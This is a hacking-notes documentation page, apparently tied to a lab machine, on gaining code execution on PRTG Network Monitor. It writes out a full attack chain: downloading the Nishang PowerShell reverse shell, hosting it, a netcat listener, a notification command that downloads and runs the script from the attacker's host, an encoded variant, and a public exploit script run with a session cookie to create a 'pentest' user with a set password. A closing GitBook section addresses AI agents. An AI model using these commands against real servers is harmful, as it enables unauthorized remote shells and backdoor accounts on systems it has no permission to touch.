> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/cms/prtg-network-monitor-cms-exploitation.md).
# PRTG Network Monitor
PRTG Network Monitor notification abuse, PowerShell reverse shell delivery, and automated exploit notes.
## PRTG Network Monitor RCE
PRTG can execute notification actions on the server. If an authenticated session has permission to create or modify notifications, the notification command field can be abused to execute PowerShell and obtain code execution.
{% embed url="" %}
## Method 1 - Manual notification abuse
Download a PowerShell reverse shell script to the attacker machine:
```bash
wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
```
Append the callback handler to the script, keeping the listener IP and port aligned with your environment:
```bash
echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.13 -Port 443' >> Invoke-PowerShellTcp.ps1
```
Host the file:
```bash
python3 -m http.server 80
```
Start a listener:
```bash
rlwrap nc -nvlp 443
```
In PRTG, go to `Setup > Account Settings > Notifications` and create a new notification action that runs a program or script.
Use the notification command to make the server download and execute the hosted PowerShell script:
{% code overflow="wrap" %}
```powershell
abc.txt | powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.13/Invoke-PowerShellTcp.ps1')"
```
{% endcode %}
If the request reaches the web server but the reverse shell does not connect back, convert the PowerShell script to UTF-16LE Base64 and use PowerShell `-enc`:
```bash
iconv -f UTF-8 -t UTF-16LE Invoke-PowerShellTcp.ps1 | base64 -w 0 > encoded_script.txt
```
Then place the encoded payload in the notification command:
```powershell
abc.txt | powershell -enc
```
## Method 2 - Automated exploit
Search for public PRTG Network Monitor exploits and copy the matching script:
```bash
searchsploit -m windows/webapps/46527.sh
```
Run the script with the target URL and authenticated session cookie:
{% code overflow="wrap" %}
```bash
./prtg-exploit.sh -u http://10.10.10.152 -c "OCTOPUS1813713946=ezUwMjVCREI0LUMxNjUtNDIwNi04N0M2LUJFOTEyN0I3MjY2Q30%3D"
```
{% endcode %}
The exploit creates a new user:
* Username: `pentest`
* Password: `P3nT3st!`
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/cms/prtg-network-monitor-cms-exploitation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
